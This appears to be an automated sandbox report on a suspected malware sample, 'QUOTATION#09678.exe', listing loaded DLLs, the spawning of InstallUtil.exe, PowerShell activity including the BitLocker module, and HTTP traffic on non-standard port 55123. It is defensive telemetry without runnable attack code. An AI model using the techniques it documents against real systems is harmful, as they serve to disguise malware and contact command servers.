Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\QUOTATION#09678.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: QUOTATION#09678.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: QUOTATION#09678.exe

Static file information: File size 2789519 > 1048576

Source: QUOTATION#09678.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: QUOTATION#09678.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: mscorlib.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.ni.pdbRSDS source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Windows.Forms.pdb0 source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Drawing.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: mscorlib.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Drawing.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Core.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER9462.tmp.dmp.10.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Core.pdbM source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Core.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER9462.tmp.dmp.10.dr

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E57960 push ebx; retf	0_2_00007FF848E5796A
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E57948 push ebx; retf	0_2_00007FF848E5796A
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E57940 push ebx; retf	0_2_00007FF848E5796A
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E56782 pushfd ; ret	0_2_00007FF848E56783
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848E56088 push edi; retf 0008h	0_2_00007FF848E56089
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Code function: 0_2_00007FF848F20061 push esp; retf 4810h	0_2_00007FF848F20312

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\installutil.exe.log

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 55123 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 55123 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 55123 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 55123 -> 49754

Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
